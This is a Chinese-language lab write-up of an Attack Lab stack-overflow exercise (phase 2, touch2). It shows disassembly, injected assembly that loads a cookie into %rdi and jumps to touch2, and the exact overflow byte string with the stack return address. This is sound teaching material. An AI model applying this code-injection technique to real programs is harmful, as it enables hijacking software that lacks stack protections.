1.实验任务
phase2
需要我们注入一小段代码。来完成字符串漏洞攻击
touch2
的代码如下
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
本题的任务就是要我们在getbuf()
之后直接ret
到touch2()里面而不是继续执行test,
大概任务目的和第一个基本一样,但是方式略有不同
2.分析touch2()汇编代码
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
可以看到, 代码中第二行是获取参数(参数由调用函数通过%edi传入),第五行,通过指令0x202ce2(%rip),%edi,这里其实是用我们的参数值和cookie值进行比较,如果相等就通过了。
所以,level2解题的关键是,getbuf()返回时能转移到touch2(),并且在转移之前,把cookie的值mov到%rdi寄存器中,最后代码控制权ret到touch2()时就能正常向下执行了。
3.实现思路
我们是利用缓冲区溢出攻击,容易想到,我们输入的字符串形成一段汇编代码,该代码如下,功能实现的即是我们想要的效果,修改%rdi寄存器的值,然后将touch2()的代码地址压栈,再弹栈,跳转到touch2()执行。
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
我们需要将该断汇编代码,转变成字节序列
gcc -c ./level2.s
objdump -d level2.o
剩下的问题变成了,将该汇编代码字节序列放在什么位置。
同level1一样,利用缓冲区溢出,getbuf返回地址要修改,可以利用getbuf创建的40字节缓冲区,将栈顶地址即%rsp的内容,放到getbuf()的返回地址处,然后我们自己构造的三行汇编代码字节序列,放在%rsp栈顶位置处,当getbuf()返回时,返回到图中%rsp指示的位置,然后执行我们自己构造的汇编代码,该汇编代码跳转到touch2()执行。
查看getbuf()代码,我们要获取执行getbuf时的%rsp栈顶位置值。
如下图,再mov %rsp %rdi指令处打断点
查看此时$rsp寄存器内容
得到$rsp=0x5561dc78,构造输入文件(小端方式)
48 c7 c7 fa 97 b9 59 68 //构造的汇编代码
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //栈顶位置
4.测试
可以正常通过
补充一点,有些人问为什么要把栈顶位置放到getbuf()的返回地址处,%rsp还是个固定的值0x5561dc78,如果下一次程序运行,栈不在此处了怎么办。这里有一个前提条件,如下图,作者这里提到了,前三关,没有用到程序布局随机化技术(不然这个实验也没法做了),我们堆栈每次运行栈顶位置都是一致的。